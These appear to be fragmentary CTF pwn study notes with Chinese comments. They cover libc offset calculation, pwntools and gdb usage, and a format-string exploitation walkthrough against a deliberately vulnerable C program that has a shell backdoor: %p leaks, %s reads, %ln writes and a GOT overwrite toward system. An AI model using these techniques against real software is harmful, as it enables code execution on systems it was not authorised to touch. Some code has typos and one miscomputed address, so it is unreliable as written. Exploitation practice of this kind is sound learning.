PWN¶

printf_addr = 0x7ffff7a64e10
printf_offset = 0x64e10
system_offset = 0x4fa20
bin_sh_offset = 0x1b75aa

# 计算 libc 基地址
libc_base = printf_addr - printf_offset

# 计算 system 和 /bin/sh 的地址
system_addr = libc_base + system_offset
bin_sh_addr = libc_base + bin_sh_offset

print(f"libc base: {hex(libc_base)}")
print(f"system address: {hex(system_addr)}")
print(f"/bin/sh address: {hex(bin_sh_addr)}")

libc base: 0x7ffff7a00000
system address: 0x7ffff7a4fa20
/bin/sh address: 0x7ffff7b75aa

Error /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34’ not found

strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_

sudo vi /etc/apt/sources.list

deb http://th.archive.ubuntu.com/ubuntu jammy main    #添加该行到文件

sudo apt update
sudo apt install libc6

LD_PRELOAD=./libc.so.6 ./ld-linux-x86-64.so.2 ./login_me

void prepare(){
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);
    alerm(60);
}

pip install --upgrade pwntools

pip install ipython

from pwn import *
context.log_level = 'debug' # 输出调试信息
context.arch = 'amd64' # 指定架构

p = process('./login_me) #运行本地程序
p.close()# 关闭进程

# 指定libc进行访问,第一个是loader，第二个是libc的路径
p = process(['./ld-2.23.so','./test'], env = {'LD_PRELOAD' : './libc-2.23.so'})


p = remote('ip',port, typ='协议\协议簇') # 运行远端程序

pip3 install pwntools-tube-websocket

from pwn import *
from wstube import websocket

a = websocket('wss://echo.websocket.events')
print(a.recv())
for i in range(3):
    a.send(b'test')
    print(a.recv(2))
    print(a.recv(2))
a.sendline(b'test')
print(a.recv())
a.send(b'12345asdfg')
print(a.recvregex(b'[0-9]{5}'))
print(a.recv())
a.close()

client = listen(port).wait_for_connection()

host.interactive()
# 当然，你也可以与本地的shell连接
sh = process('/bin/sh')
sh.interactive()

sudo apt-get install gdbserver

gdb.debug(program,gdbscript = script)

p.recv()
username = b"user"
p.recv()
#  接收n字节数据,一定时间后超时
bytes = host.recv(n, timeout = default)
# 换行结束接收,keepends=False不保留结尾的\n
bytes = host.recvline(keepends=True)
# 接收直至分隔符delim
bytes = host.recvuntil(delim,drop=Fasle)
# 接收模式匹配的字符串
bytes = host.recvregex(pattern)
# 接收直到超时或EOF
bytes = host.recvrepeat(timeout = default)
# 接收数据直到EOF
bytes = host.recvall() 
# 清空缓冲区未接收的数据
host.clean()

# 发送一段数据
host.send(bytes)
# 发送数据加一个换行
host.sendline(bytes)
host.sendafter(b"Receive:",b"Send:")

# 创建连接
shell = ssh(host='ip', user='root', port=port, password=password)
# 可以在该SSH连接开启进程
s = ssh(host='example.pwnme')
sh = s.process('/bin/sh', env={'PS1':''})
sh.sendline(b'echo Hello; exit')
sh.recvall() # 或者sh.recvline()
输出：b'Hello\n'

code = asm('mov eax, 0')

BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes

从右往左传递参数
保存ret的返回地址，所以是rbp+8
push rbp ; 将原来rbp的地址入栈
mov rbp, rsp ; 这个时候rbp=rsp

x/gx $rsp

p backdoor

b *0x000000000040125a
r
set *(long*)($rsp) = 0x4012bd

objdump -R ./test | grep puts

info files
b overflow
p backdoor

b *0x0000000000401251
r

set {unsigned long}0x403480=0x4012bd
delete # 把断点删除，防止子程序找不到对应的段
c

x/20x 0x403480

int printf(const char *format, ...);

// gcc test_printf.c -o test_printf
#include <stdio.h>

int main(){
  // num$ 表示第num个参数
  printf("%2$d %1$d %4$c %3$c %s %s",1,2,'c','d',"e","hello");
    return 0;
}

from pwn import *

elf = ELF("./test_printf")
context(arch='x86_64',log_level='debug')
script = \
    '''
        b printf 
        c
    '''
o = gdb.debug("./test_printf",gdbscript = script)
o.interactive()

man 3 printf

// gcc fsb-stack.c -o fsb-stack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFLEN 0x200

void initbuf()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

int backdoor(){
    return system("/bin/sh");
}

int main()
{
    initbuf();

    char buffer[BUFLEN] = {0};

    while (1)//这里是一个不停循环的读入的过程
    {
        memset(buffer, 0, BUFLEN);
        fgets(buffer, BUFLEN, stdin);
        printf(buffer);
    }

    return 0;
}

b printf
stack 80 # pwndbg
telescope -l 80 # gdb

from pwn import *
context(arch='x86_64',log_level='debug')
elf = ELF("./fsb-stack")
script = \
        '''
            b printf 
            c
        '''
p = gdb.debug("./fsb-stack",gdbscript = script) # 断点在printf,且自动打开gdb调试

fmt = "%71$p"
p.sendline(fmt)
leak = int(p.recvline(),16)
log.success(hex(leak))
p.interactive()

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

fmt = "%71$p"
p.sendline(fmt)
leak = int(p.recvline(),16)  # 接收到的数据是16进制的，需要转换为int，这里是__libc_start_main的真实地址

offset = 171368 # 看下边注释,需要手动计算
libc.address = leak - offset 
print("leak_start_main=",(hex(leak)))
print("libc = ",hex(libc.address))

binsh = next(libc.search(b"/bin/sh\x00"))
fmt = b"%7$saaaa" + p64(binsh)
p.sendline(fmt)

fmt = b"%12345678c%74$ln"
p.sendline(fmt)

printf_got = elf.got['printf']
print("printf:",(hex(printf_got)))
#system_addr = libc_base + libc.symbols['system']
#fmt = fmtstr_payload(6,{printf_got:system})
#p.sendline("/bin/sh\0")

fmt = b"%*8$c%77$ln"
fmt = fmt.ljust(0x10,b"a")
fmt += p64(0x1122)
p.sendline(fmt)